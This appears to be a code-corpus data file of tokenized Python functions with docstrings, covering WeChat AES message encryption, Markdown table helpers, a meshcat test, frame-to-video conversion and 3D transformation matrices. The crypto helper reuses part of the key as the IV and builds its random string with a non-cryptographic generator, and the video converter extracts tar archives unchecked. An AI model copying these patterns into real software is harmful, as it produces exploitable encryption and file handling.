{"signature": "def encode(self, text):", "body": "text_length = len(text)<EOL>amount_to_pad = self.block_size - (text_length % self.block_size)<EOL>if amount_to_pad == <NUM_LIT:0>:<EOL><INDENT>amount_to_pad = self.block_size<EOL><DEDENT>pad = chr(amount_to_pad)<EOL>return text + pad * amount_to_pad<EOL>", "docstring": "\u5bf9\u9700\u8981\u52a0\u5bc6\u7684\u660e\u6587\u8fdb\u884c\u586b\u5145\u8865\u4f4d\n        @param text: \u9700\u8981\u8fdb\u884c\u586b\u5145\u8865\u4f4d\u64cd\u4f5c\u7684\u660e\u6587\n        @return: \u8865\u9f50\u660e\u6587\u5b57\u7b26\u4e32", "id": "f15109:c3:m0"}
{"signature": "def decode(self, decrypted):", "body": "pad = ord(decrypted[-<NUM_LIT:1>])<EOL>if pad < <NUM_LIT:1> or pad > <NUM_LIT:32>:<EOL><INDENT>pad = <NUM_LIT:0><EOL><DEDENT>return decrypted[:-pad]<EOL>", "docstring": "\u5220\u9664\u89e3\u5bc6\u540e\u660e\u6587\u7684\u8865\u4f4d\u5b57\u7b26\n        @param decrypted: \u89e3\u5bc6\u540e\u7684\u660e\u6587\n        @return: \u5220\u9664\u8865\u4f4d\u5b57\u7b26\u540e\u7684\u660e\u6587", "id": "f15109:c3:m1"}
{"signature": "def encrypt(self, text, appid):", "body": "<EOL>text = self.get_random_str() + struct.pack(<EOL>\"<STR_LIT:I>\", socket.htonl(len(text))) + text + appid<EOL>pkcs7 = PKCS7Encoder()<EOL>text = pkcs7.encode(text)<EOL>cryptor = AES.new(self.key, self.mode, self.key[:<NUM_LIT:16>])<EOL>try:<EOL><INDENT>ciphertext = cryptor.encrypt(text)<EOL>return WXBizMsgCrypt_OK, base64.b64encode(ciphertext)<EOL><DEDENT>except Exception:<EOL><INDENT>return WXBizMsgCrypt_EncryptAES_Error, None<EOL><DEDENT>", "docstring": "\u5bf9\u660e\u6587\u8fdb\u884c\u52a0\u5bc6\n        @param text: \u9700\u8981\u52a0\u5bc6\u7684\u660e\u6587\n        @return: \u52a0\u5bc6\u5f97\u5230\u7684\u5b57\u7b26\u4e32", "id": "f15109:c4:m1"}
{"signature": "def decrypt(self, text, appid):", "body": "try:<EOL><INDENT>cryptor = AES.new(self.key, self.mode, self.key[:<NUM_LIT:16>])<EOL>plain_text = cryptor.decrypt(base64.b64decode(text))<EOL><DEDENT>except Exception:<EOL><INDENT>return WXBizMsgCrypt_DecryptAES_Error, None<EOL><DEDENT>try:<EOL><INDENT>pad = ord(plain_text[-<NUM_LIT:1>])<EOL>content = plain_text[<NUM_LIT:16>:-pad]<EOL>xml_len = socket.ntohl(struct.unpack(\"<STR_LIT:I>\", content[:<NUM_LIT:4>])[<NUM_LIT:0>])<EOL>xml_content = content[<NUM_LIT:4>:xml_len+<NUM_LIT:4>]<EOL>from_appid = content[xml_len+<NUM_LIT:4>:]<EOL><DEDENT>except Exception:<EOL><INDENT>return WXBizMsgCrypt_IllegalBuffer, None<EOL><DEDENT>if from_appid != appid:<EOL><INDENT>return WXBizMsgCrypt_ValidateAppidOrCorpid_Error, None<EOL><DEDENT>return <NUM_LIT:0>, xml_content<EOL>", "docstring": "\u5bf9\u89e3\u5bc6\u540e\u7684\u660e\u6587\u8fdb\u884c\u8865\u4f4d\u5220\u9664\n        @param text: \u5bc6\u6587\n        @return: \u5220\u9664\u586b\u5145\u8865\u4f4d\u540e\u7684\u660e\u6587", "id": "f15109:c4:m2"}
{"signature": "def get_random_str(self):", "body": "rule = string.letters + string.digits<EOL>str = random.sample(rule, <NUM_LIT:16>)<EOL>return \"<STR_LIT>\".join(str)<EOL>", "docstring": "\u968f\u673a\u751f\u621016\u4f4d\u5b57\u7b26\u4e32\n        @return: 16\u4f4d\u5b57\u7b26\u4e32", "id": "f15109:c4:m3"}
{"signature": "def pad_to(unpadded, target_len):", "body": "under = target_len - len(unpadded)<EOL>if under <= <NUM_LIT:0>:<EOL><INDENT>return unpadded<EOL><DEDENT>return unpadded + ('<STR_LIT:U+0020>' * under)<EOL>", "docstring": "Pad a string to the target length in characters, or return the original\nstring if it's longer than the target length.", "id": "f15118:m1"}
{"signature": "def normalize_cols(table):", "body": "longest_row_len = max([len(row) for row in table])<EOL>for row in table:<EOL><INDENT>while len(row) < longest_row_len:<EOL><INDENT>row.append('<STR_LIT>')<EOL><DEDENT><DEDENT>return table<EOL>", "docstring": "Pad short rows to the length of the longest row to help render \"jagged\"\nCSV files", "id": "f15118:m2"}
{"signature": "def pad_cells(table):", "body": "col_sizes = [max(map(len, col)) for col in zip(*table)]<EOL>for row in table:<EOL><INDENT>for cell_num, cell in enumerate(row):<EOL><INDENT>row[cell_num] = pad_to(cell, col_sizes[cell_num])<EOL><DEDENT><DEDENT>return table<EOL>", "docstring": "Pad each cell to the size of the largest cell in its column.", "id": "f15118:m3"}
{"signature": "def horiz_div(col_widths, horiz, vert, padding):", "body": "horizs = [horiz * w for w in col_widths]<EOL>div = '<STR_LIT>'.join([padding * horiz, vert, padding * horiz])<EOL>return div.join(horizs)<EOL>", "docstring": "Create the column dividers for a table with given column widths.\n\ncol_widths: list of column widths\nhoriz: the character to use for a horizontal divider\nvert: the character to use for a vertical divider\npadding: amount of padding to add to each side of a column", "id": "f15118:m4"}
{"signature": "def add_dividers(row, divider, padding):", "body": "div = '<STR_LIT>'.join([padding * '<STR_LIT:U+0020>', divider, padding * '<STR_LIT:U+0020>'])<EOL>return div.join(row)<EOL>", "docstring": "Add dividers and padding to a row of cells and return a string.", "id": "f15118:m5"}
{"signature": "def md_table(table, *, padding=DEFAULT_PADDING, divider='<STR_LIT:|>', header_div='<STR_LIT:->'):", "body": "table = normalize_cols(table)<EOL>table = pad_cells(table)<EOL>header = table[<NUM_LIT:0>]<EOL>body = table[<NUM_LIT:1>:]<EOL>col_widths = [len(cell) for cell in header]<EOL>horiz = horiz_div(col_widths, header_div, divider, padding)<EOL>header = add_dividers(header, divider, padding)<EOL>body = [add_dividers(row, divider, padding) for row in body]<EOL>table = [header, horiz]<EOL>table.extend(body)<EOL>table = [row.rstrip() for row in table]<EOL>return '<STR_LIT:\\n>'.join(table)<EOL>", "docstring": "Convert a 2D array of items into a Markdown table.\n\npadding: the number of padding spaces on either side of each divider\ndivider: the vertical divider to place between columns\nheader_div: the horizontal divider to place between the header row and\n    body cells", "id": "f15118:m6"}
{"signature": "def runTest(self):", "body": "self.vis.delete()<EOL>v = self.vis[\"<STR_LIT>\"]<EOL>filename = os.path.join(meshcat.viewer_assets_path(),<EOL>\"<STR_LIT>\")<EOL>with open(filename, \"<STR_LIT:r>\") as f:<EOL><INDENT>fio = StringIO(f.read())<EOL>v[\"<STR_LIT>\"].set_object(g.Mesh(g.ObjMeshGeometry.from_stream(fio)))<EOL>v[\"<STR_LIT>\"].set_transform(tf.translation_matrix([<NUM_LIT:0>, <NUM_LIT:0.0>, <NUM_LIT:0>]))<EOL><DEDENT>filename = os.path.join(meshcat.viewer_assets_path(),<EOL>\"<STR_LIT>\")<EOL>with open(filename, \"<STR_LIT:r>\") as f:<EOL><INDENT>fio = StringIO(f.read())<EOL>v[\"<STR_LIT>\"].set_object(g.Mesh(g.StlMeshGeometry.from_stream(fio)))<EOL>v[\"<STR_LIT>\"].set_transform(tf.translation_matrix([<NUM_LIT:0>, -<NUM_LIT:0.5>, <NUM_LIT:0>]))<EOL><DEDENT>filename = os.path.join(meshcat.viewer_assets_path(),<EOL>\"<STR_LIT>\")<EOL>with open(filename, \"<STR_LIT:rb>\") as f:<EOL><INDENT>fio = BytesIO(f.read())<EOL>v[\"<STR_LIT>\"].set_object(g.Mesh(g.StlMeshGeometry.from_stream(fio)))<EOL>v[\"<STR_LIT>\"].set_transform(tf.translation_matrix([<NUM_LIT:0>, -<NUM_LIT:1.0>, <NUM_LIT:0>]))<EOL><DEDENT>filename = os.path.join(meshcat.viewer_assets_path(),<EOL>\"<STR_LIT>\")<EOL>with open(filename, \"<STR_LIT:r>\") as f:<EOL><INDENT>fio = StringIO(f.read())<EOL>v[\"<STR_LIT>\"].set_object(g.Mesh(g.DaeMeshGeometry.from_stream(fio)))<EOL>v[\"<STR_LIT>\"].set_transform(tf.translation_matrix([<NUM_LIT:0>, -<NUM_LIT>, <NUM_LIT:0>]))<EOL><DEDENT>", "docstring": "Applications using meshcat may already have meshes loaded in memory. It is\n        more efficient to load these meshes with streams rather than going to and then\n        from a file on disk. To test this we are importing meshes from disk and\n        converting them into streams so it kind of defeats the intended purpose! But at\n        least it tests the functionality.", "id": "f15126:c2:m0"}
{"signature": "def convert_frames_to_video(tar_file_path, output_path=\"<STR_LIT>\", framerate=<NUM_LIT>, overwrite=False):", "body": "output_path = os.path.abspath(output_path)<EOL>if os.path.isfile(output_path) and not overwrite:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(output_path))<EOL><DEDENT>with tempfile.TemporaryDirectory() as tmp_dir:<EOL><INDENT>with tarfile.open(tar_file_path) as tar:<EOL><INDENT>tar.extractall(tmp_dir)<EOL><DEDENT>args = [\"<STR_LIT>\",<EOL>\"<STR_LIT>\", str(framerate),<EOL>\"<STR_LIT>\", r\"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>if overwrite:<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL><DEDENT>args.append(output_path)<EOL>try:<EOL><INDENT>subprocess.check_call(args, cwd=tmp_dir)<EOL><DEDENT>except subprocess.CalledProcessError as e:<EOL><INDENT>print(\"\"\"<STR_LIT>\"\"\")<EOL>raise<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\".format(output_path))<EOL>return output_path<EOL>", "docstring": "Try to convert a tar file containing a sequence of frames saved by the\nmeshcat viewer into a single video file.\n\nThis relies on having `ffmpeg` installed on your system.", "id": "f15127:m2"}
{"signature": "def identity_matrix():", "body": "return numpy.identity(<NUM_LIT:4>)<EOL>", "docstring": "Return 4x4 identity/unit matrix.\n\n    >>> I = identity_matrix()\n    >>> numpy.allclose(I, numpy.dot(I, I))\n    True\n    >>> numpy.sum(I), numpy.trace(I)\n    (4.0, 4.0)\n    >>> numpy.allclose(I, numpy.identity(4))\n    True", "id": "f15133:m0"}
{"signature": "def translation_matrix(direction):", "body": "M = numpy.identity(<NUM_LIT:4>)<EOL>M[:<NUM_LIT:3>, <NUM_LIT:3>] = direction[:<NUM_LIT:3>]<EOL>return M<EOL>", "docstring": "Return matrix to translate by direction vector.\n\n    >>> v = numpy.random.random(3) - 0.5\n    >>> numpy.allclose(v, translation_matrix(v)[:3, 3])\n    True", "id": "f15133:m1"}
{"signature": "def translation_from_matrix(matrix):", "body": "return numpy.array(matrix, copy=False)[:<NUM_LIT:3>, <NUM_LIT:3>].copy()<EOL>", "docstring": "Return translation vector from translation matrix.\n\n    >>> v0 = numpy.random.random(3) - 0.5\n    >>> v1 = translation_from_matrix(translation_matrix(v0))\n    >>> numpy.allclose(v0, v1)\n    True", "id": "f15133:m2"}
{"signature": "def reflection_matrix(point, normal):", "body": "normal = unit_vector(normal[:<NUM_LIT:3>])<EOL>M = numpy.identity(<NUM_LIT:4>)<EOL>M[:<NUM_LIT:3>, :<NUM_LIT:3>] -= <NUM_LIT> * numpy.outer(normal, normal)<EOL>M[:<NUM_LIT:3>, <NUM_LIT:3>] = (<NUM_LIT> * numpy.dot(point[:<NUM_LIT:3>], normal)) * normal<EOL>return M<EOL>", "docstring": "Return matrix to mirror at plane defined by point and normal vector.\n\n    >>> v0 = numpy.random.random(4) - 0.5\n    >>> v0[3] = 1.\n    >>> v1 = numpy.random.random(3) - 0.5\n    >>> R = reflection_matrix(v0, v1)\n    >>> numpy.allclose(2, numpy.trace(R))\n    True\n    >>> numpy.allclose(v0, numpy.dot(R, v0))\n    True\n    >>> v2 = v0.copy()\n    >>> v2[:3] += v1\n    >>> v3 = v0.copy()\n    >>> v2[:3] -= v1\n    >>> numpy.allclose(v2, numpy.dot(R, v3))\n    True", "id": "f15133:m3"}
{"signature": "def reflection_from_matrix(matrix):", "body": "M = numpy.array(matrix, dtype=numpy.float64, copy=False)<EOL>w, V = numpy.linalg.eig(M[:<NUM_LIT:3>, :<NUM_LIT:3>])<EOL>i = numpy.where(abs(numpy.real(w) + <NUM_LIT:1.0>) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not len(i):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>normal = numpy.real(V[:, i[<NUM_LIT:0>]]).squeeze()<EOL>w, V = numpy.linalg.eig(M)<EOL>i = numpy.where(abs(numpy.real(w) - <NUM_LIT:1.0>) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not len(i):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>point = numpy.real(V[:, i[-<NUM_LIT:1>]]).squeeze()<EOL>point /= point[<NUM_LIT:3>]<EOL>return point, normal<EOL>", "docstring": "Return mirror plane point and normal vector from reflection matrix.\n\n    >>> v0 = numpy.random.random(3) - 0.5\n    >>> v1 = numpy.random.random(3) - 0.5\n    >>> M0 = reflection_matrix(v0, v1)\n    >>> point, normal = reflection_from_matrix(M0)\n    >>> M1 = reflection_matrix(point, normal)\n    >>> is_same_transform(M0, M1)\n    True", "id": "f15133:m4"}
{"signature": "def rotation_matrix(angle, direction, point=None):", "body": "sina = math.sin(angle)<EOL>cosa = math.cos(angle)<EOL>direction = unit_vector(direction[:<NUM_LIT:3>])<EOL>R = numpy.diag([cosa, cosa, cosa])<EOL>R += numpy.outer(direction, direction) * (<NUM_LIT:1.0> - cosa)<EOL>direction *= sina<EOL>R += numpy.array([[ <NUM_LIT:0.0>,         -direction[<NUM_LIT:2>],  direction[<NUM_LIT:1>]],<EOL>[ direction[<NUM_LIT:2>], <NUM_LIT:0.0>,          -direction[<NUM_LIT:0>]],<EOL>[-direction[<NUM_LIT:1>], direction[<NUM_LIT:0>],  <NUM_LIT:0.0>]])<EOL>M = numpy.identity(<NUM_LIT:4>)<EOL>M[:<NUM_LIT:3>, :<NUM_LIT:3>] = R<EOL>if point is not None:<EOL><INDENT>point = numpy.array(point[:<NUM_LIT:3>], dtype=numpy.float64, copy=False)<EOL>M[:<NUM_LIT:3>, <NUM_LIT:3>] = point - numpy.dot(R, point)<EOL><DEDENT>return M<EOL>", "docstring": "Return matrix to rotate about axis defined by point and direction.\n\n    >>> R = rotation_matrix(math.pi/2, [0, 0, 1], [1, 0, 0])\n    >>> numpy.allclose(numpy.dot(R, [0, 0, 0, 1]), [1, -1, 0, 1])\n    True\n    >>> angle = (random.random() - 0.5) * (2*math.pi)\n    >>> direc = numpy.random.random(3) - 0.5\n    >>> point = numpy.random.random(3) - 0.5\n    >>> R0 = rotation_matrix(angle, direc, point)\n    >>> R1 = rotation_matrix(angle-2*math.pi, direc, point)\n    >>> is_same_transform(R0, R1)\n    True\n    >>> R0 = rotation_matrix(angle, direc, point)\n    >>> R1 = rotation_matrix(-angle, -direc, point)\n    >>> is_same_transform(R0, R1)\n    True\n    >>> I = numpy.identity(4, numpy.float64)\n    >>> numpy.allclose(I, rotation_matrix(math.pi*2, direc))\n    True\n    >>> numpy.allclose(2, numpy.trace(rotation_matrix(math.pi/2,\n    ...                                               direc, point)))\n    True", "id": "f15133:m5"}
{"signature": "def rotation_from_matrix(matrix):", "body": "R = numpy.array(matrix, dtype=numpy.float64, copy=False)<EOL>R33 = R[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>w, W = numpy.linalg.eig(R33.T)<EOL>i = numpy.where(abs(numpy.real(w) - <NUM_LIT:1.0>) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not len(i):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>direction = numpy.real(W[:, i[-<NUM_LIT:1>]]).squeeze()<EOL>w, Q = numpy.linalg.eig(R)<EOL>i = numpy.where(abs(numpy.real(w) - <NUM_LIT:1.0>) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not len(i):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>point = numpy.real(Q[:, i[-<NUM_LIT:1>]]).squeeze()<EOL>point /= point[<NUM_LIT:3>]<EOL>cosa = (numpy.trace(R33) - <NUM_LIT:1.0>) / <NUM_LIT><EOL>if abs(direction[<NUM_LIT:2>]) > <NUM_LIT>:<EOL><INDENT>sina = (R[<NUM_LIT:1>, <NUM_LIT:0>] + (cosa-<NUM_LIT:1.0>)*direction[<NUM_LIT:0>]*direction[<NUM_LIT:1>]) / direction[<NUM_LIT:2>]<EOL><DEDENT>elif abs(direction[<NUM_LIT:1>]) > <NUM_LIT>:<EOL><INDENT>sina = (R[<NUM_LIT:0>, <NUM_LIT:2>] + (cosa-<NUM_LIT:1.0>)*direction[<NUM_LIT:0>]*direction[<NUM_LIT:2>]) / direction[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>sina = (R[<NUM_LIT:2>, <NUM_LIT:1>] + (cosa-<NUM_LIT:1.0>)*direction[<NUM_LIT:1>]*direction[<NUM_LIT:2>]) / direction[<NUM_LIT:0>]<EOL><DEDENT>angle = math.atan2(sina, cosa)<EOL>return angle, direction, point<EOL>", "docstring": "Return rotation angle and axis from rotation matrix.\n\n    >>> angle = (random.random() - 0.5) * (2*math.pi)\n    >>> direc = numpy.random.random(3) - 0.5\n    >>> point = numpy.random.random(3) - 0.5\n    >>> R0 = rotation_matrix(angle, direc, point)\n    >>> angle, direc, point = rotation_from_matrix(R0)\n    >>> R1 = rotation_matrix(angle, direc, point)\n    >>> is_same_transform(R0, R1)\n    True", "id": "f15133:m6"}
{"signature": "def scale_matrix(factor, origin=None, direction=None):", "body": "if direction is None:<EOL><INDENT>M = numpy.diag([factor, factor, factor, <NUM_LIT:1.0>])<EOL>if origin is not None:<EOL><INDENT>M[:<NUM_LIT:3>, <NUM_LIT:3>] = origin[:<NUM_LIT:3>]<EOL>M[:<NUM_LIT:3>, <NUM_LIT:3>] *= <NUM_LIT:1.0> - factor<EOL><DEDENT><DEDENT>else:<EOL><INDENT>direction = unit_vector(direction[:<NUM_LIT:3>])<EOL>factor = <NUM_LIT:1.0> - factor<EOL>M = numpy.identity(<NUM_LIT:4>)<EOL>M[:<NUM_LIT:3>, :<NUM_LIT:3>] -= factor * numpy.outer(direction, direction)<EOL>if origin is not None:<EOL><INDENT>M[:<NUM_LIT:3>, <NUM_LIT:3>] = (factor * numpy.dot(origin[:<NUM_LIT:3>], direction)) * direction<EOL><DEDENT><DEDENT>return M<EOL>", "docstring": "Return matrix to scale by factor around origin in direction.\n\n    Use factor -1 for point symmetry.\n\n    >>> v = (numpy.random.rand(4, 5) - 0.5) * 20\n    >>> v[3] = 1\n    >>> S = scale_matrix(-1.234)\n    >>> numpy.allclose(numpy.dot(S, v)[:3], -1.234*v[:3])\n    True\n    >>> factor = random.random() * 10 - 5\n    >>> origin = numpy.random.random(3) - 0.5\n    >>> direct = numpy.random.random(3) - 0.5\n    >>> S = scale_matrix(factor, origin)\n    >>> S = scale_matrix(factor, origin, direct)", "id": "f15133:m7"}
{"signature": "def scale_from_matrix(matrix):", "body": "M = numpy.array(matrix, dtype=numpy.float64, copy=False)<EOL>M33 = M[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>factor = numpy.trace(M33) - <NUM_LIT><EOL>try:<EOL><INDENT>w, V = numpy.linalg.eig(M33)<EOL>i = numpy.where(abs(numpy.real(w) - factor) < <NUM_LIT>)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>direction = numpy.real(V[:, i]).squeeze()<EOL>direction /= vector_norm(direction)<EOL><DEDENT>except IndexError:<EOL><INDENT>factor = (factor + <NUM_LIT>) / <NUM_LIT><EOL>direction = None<EOL><DEDENT>w, V = numpy.linalg.eig(M)<EOL>i = numpy.where(abs(numpy.real(w) - <NUM_LIT:1.0>) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not len(i):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>origin = numpy.real(V[:, i[-<NUM_LIT:1>]]).squeeze()<EOL>origin /= origin[<NUM_LIT:3>]<EOL>return factor, origin, direction<EOL>", "docstring": "Return scaling factor, origin and direction from scaling matrix.\n\n    >>> factor = random.random() * 10 - 5\n    >>> origin = numpy.random.random(3) - 0.5\n    >>> direct = numpy.random.random(3) - 0.5\n    >>> S0 = scale_matrix(factor, origin)\n    >>> factor, origin, direction = scale_from_matrix(S0)\n    >>> S1 = scale_matrix(factor, origin, direction)\n    >>> is_same_transform(S0, S1)\n    True\n    >>> S0 = scale_matrix(factor, origin, direct)\n    >>> factor, origin, direction = scale_from_matrix(S0)\n    >>> S1 = scale_matrix(factor, origin, direction)\n    >>> is_same_transform(S0, S1)\n    True", "id": "f15133:m8"}
{"signature": "def projection_matrix(point, normal, direction=None,<EOL>perspective=None, pseudo=False):", "body": "M = numpy.identity(<NUM_LIT:4>)<EOL>point = numpy.array(point[:<NUM_LIT:3>], dtype=numpy.float64, copy=False)<EOL>normal = unit_vector(normal[:<NUM_LIT:3>])<EOL>if perspective is not None:<EOL><INDENT>perspective = numpy.array(perspective[:<NUM_LIT:3>], dtype=numpy.float64,<EOL>copy=False)<EOL>M[<NUM_LIT:0>, <NUM_LIT:0>] = M[<NUM_LIT:1>, <NUM_LIT:1>] = M[<NUM_LIT:2>, <NUM_LIT:2>] = numpy.dot(perspective-point, normal)<EOL>M[:<NUM_LIT:3>, :<NUM_LIT:3>] -= numpy.outer(perspective, normal)<EOL>if pseudo:<EOL><INDENT>M[:<NUM_LIT:3>, :<NUM_LIT:3>] -= numpy.outer(normal, normal)<EOL>M[:<NUM_LIT:3>, <NUM_LIT:3>] = numpy.dot(point, normal) * (perspective+normal)<EOL><DEDENT>else:<EOL><INDENT>M[:<NUM_LIT:3>, <NUM_LIT:3>] = numpy.dot(point, normal) * perspective<EOL><DEDENT>M[<NUM_LIT:3>, :<NUM_LIT:3>] = -normal<EOL>M[<NUM_LIT:3>, <NUM_LIT:3>] = numpy.dot(perspective, normal)<EOL><DEDENT>elif direction is not None:<EOL><INDENT>direction = numpy.array(direction[:<NUM_LIT:3>], dtype=numpy.float64, copy=False)<EOL>scale = numpy.dot(direction, normal)<EOL>M[:<NUM_LIT:3>, :<NUM_LIT:3>] -= numpy.outer(direction, normal) / scale<EOL>M[:<NUM_LIT:3>, <NUM_LIT:3>] = direction * (numpy.dot(point, normal) / scale)<EOL><DEDENT>else:<EOL><INDENT>M[:<NUM_LIT:3>, :<NUM_LIT:3>] -= numpy.outer(normal, normal)<EOL>M[:<NUM_LIT:3>, <NUM_LIT:3>] = numpy.dot(point, normal) * normal<EOL><DEDENT>return M<EOL>", "docstring": "Return matrix to project onto plane defined by point and normal.\n\n    Using either perspective point, projection direction, or none of both.\n\n    If pseudo is True, perspective projections will preserve relative depth\n    such that Perspective = dot(Orthogonal, PseudoPerspective).\n\n    >>> P = projection_matrix([0, 0, 0], [1, 0, 0])\n    >>> numpy.allclose(P[1:, 1:], numpy.identity(4)[1:, 1:])\n    True\n    >>> point = numpy.random.random(3) - 0.5\n    >>> normal = numpy.random.random(3) - 0.5\n    >>> direct = numpy.random.random(3) - 0.5\n    >>> persp = numpy.random.random(3) - 0.5\n    >>> P0 = projection_matrix(point, normal)\n    >>> P1 = projection_matrix(point, normal, direction=direct)\n    >>> P2 = projection_matrix(point, normal, perspective=persp)\n    >>> P3 = projection_matrix(point, normal, perspective=persp, pseudo=True)\n    >>> is_same_transform(P2, numpy.dot(P0, P3))\n    True\n    >>> P = projection_matrix([3, 0, 0], [1, 1, 0], [1, 0, 0])\n    >>> v0 = (numpy.random.rand(4, 5) - 0.5) * 20\n    >>> v0[3] = 1\n    >>> v1 = numpy.dot(P, v0)\n    >>> numpy.allclose(v1[1], v0[1])\n    True\n    >>> numpy.allclose(v1[0], 3-v1[1])\n    True", "id": "f15133:m9"}
{"signature": "def projection_from_matrix(matrix, pseudo=False):", "body": "M = numpy.array(matrix, dtype=numpy.float64, copy=False)<EOL>M33 = M[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>w, V = numpy.linalg.eig(M)<EOL>i = numpy.where(abs(numpy.real(w) - <NUM_LIT:1.0>) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not pseudo and len(i):<EOL><INDENT>point = numpy.real(V[:, i[-<NUM_LIT:1>]]).squeeze()<EOL>point /= point[<NUM_LIT:3>]<EOL>w, V = numpy.linalg.eig(M33)<EOL>i = numpy.where(abs(numpy.real(w)) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not len(i):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>direction = numpy.real(V[:, i[<NUM_LIT:0>]]).squeeze()<EOL>direction /= vector_norm(direction)<EOL>w, V = numpy.linalg.eig(M33.T)<EOL>i = numpy.where(abs(numpy.real(w)) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if len(i):<EOL><INDENT>normal = numpy.real(V[:, i[<NUM_LIT:0>]]).squeeze()<EOL>normal /= vector_norm(normal)<EOL>return point, normal, direction, None, False<EOL><DEDENT>else:<EOL><INDENT>return point, direction, None, None, False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>i = numpy.where(abs(numpy.real(w)) > <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not len(i):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>point = numpy.real(V[:, i[-<NUM_LIT:1>]]).squeeze()<EOL>point /= point[<NUM_LIT:3>]<EOL>normal = - M[<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>perspective = M[:<NUM_LIT:3>, <NUM_LIT:3>] / numpy.dot(point[:<NUM_LIT:3>], normal)<EOL>if pseudo:<EOL><INDENT>perspective -= normal<EOL><DEDENT>return point, normal, None, perspective, pseudo<EOL><DEDENT>", "docstring": "Return projection plane and perspective point from projection matrix.\n\n    Return values are same as arguments for projection_matrix function:\n    point, normal, direction, perspective, and pseudo.\n\n    >>> point = numpy.random.random(3) - 0.5\n    >>> normal = numpy.random.random(3) - 0.5\n    >>> direct = numpy.random.random(3) - 0.5\n    >>> persp = numpy.random.random(3) - 0.5\n    >>> P0 = projection_matrix(point, normal)\n    >>> result = projection_from_matrix(P0)\n    >>> P1 = projection_matrix(*result)\n    >>> is_same_transform(P0, P1)\n    True\n    >>> P0 = projection_matrix(point, normal, direct)\n    >>> result = projection_from_matrix(P0)\n    >>> P1 = projection_matrix(*result)\n    >>> is_same_transform(P0, P1)\n    True\n    >>> P0 = projection_matrix(point, normal, perspective=persp, pseudo=False)\n    >>> result = projection_from_matrix(P0, pseudo=False)\n    >>> P1 = projection_matrix(*result)\n    >>> is_same_transform(P0, P1)\n    True\n    >>> P0 = projection_matrix(point, normal, perspective=persp, pseudo=True)\n    >>> result = projection_from_matrix(P0, pseudo=True)\n    >>> P1 = projection_matrix(*result)\n    >>> is_same_transform(P0, P1)\n    True", "id": "f15133:m10"}
{"signature": "def clip_matrix(left, right, bottom, top, near, far, perspective=False):", "body": "if left >= right or bottom >= top or near >= far:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if perspective:<EOL><INDENT>if near <= _EPS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>t = <NUM_LIT> * near<EOL>M = [[t/(left-right), <NUM_LIT:0.0>, (right+left)/(right-left), <NUM_LIT:0.0>],<EOL>[<NUM_LIT:0.0>, t/(bottom-top), (top+bottom)/(top-bottom), <NUM_LIT:0.0>],<EOL>[<NUM_LIT:0.0>, <NUM_LIT:0.0>, (far+near)/(near-far), t*far/(far-near)],<EOL>[<NUM_LIT:0.0>, <NUM_LIT:0.0>, -<NUM_LIT:1.0>, <NUM_LIT:0.0>]]<EOL><DEDENT>else:<EOL><INDENT>M = [[<NUM_LIT>/(right-left), <NUM_LIT:0.0>, <NUM_LIT:0.0>, (right+left)/(left-right)],<EOL>[<NUM_LIT:0.0>, <NUM_LIT>/(top-bottom), <NUM_LIT:0.0>, (top+bottom)/(bottom-top)],<EOL>[<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT>/(far-near), (far+near)/(near-far)],<EOL>[<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>]]<EOL><DEDENT>return numpy.array(M)<EOL>", "docstring": "Return matrix to obtain normalized device coordinates from frustum.\n\n    The frustum bounds are axis-aligned along x (left, right),\n    y (bottom, top) and z (near, far).\n\n    Normalized device coordinates are in range [-1, 1] if coordinates are\n    inside the frustum.\n\n    If perspective is True the frustum is a truncated pyramid with the\n    perspective point at origin and direction along z axis, otherwise an\n    orthographic canonical view volume (a box).\n\n    Homogeneous coordinates transformed by the perspective clip matrix\n    need to be dehomogenized (divided by w coordinate).\n\n    >>> frustum = numpy.random.rand(6)\n    >>> frustum[1] += frustum[0]\n    >>> frustum[3] += frustum[2]\n    >>> frustum[5] += frustum[4]\n    >>> M = clip_matrix(perspective=False, *frustum)\n    >>> numpy.dot(M, [frustum[0], frustum[2], frustum[4], 1])\n    array([-1., -1., -1.,  1.])\n    >>> numpy.dot(M, [frustum[1], frustum[3], frustum[5], 1])\n    array([ 1.,  1.,  1.,  1.])\n    >>> M = clip_matrix(perspective=True, *frustum)\n    >>> v = numpy.dot(M, [frustum[0], frustum[2], frustum[4], 1])\n    >>> v / v[3]\n    array([-1., -1., -1.,  1.])\n    >>> v = numpy.dot(M, [frustum[1], frustum[3], frustum[4], 1])\n    >>> v / v[3]\n    array([ 1.,  1., -1.,  1.])", "id": "f15133:m11"}
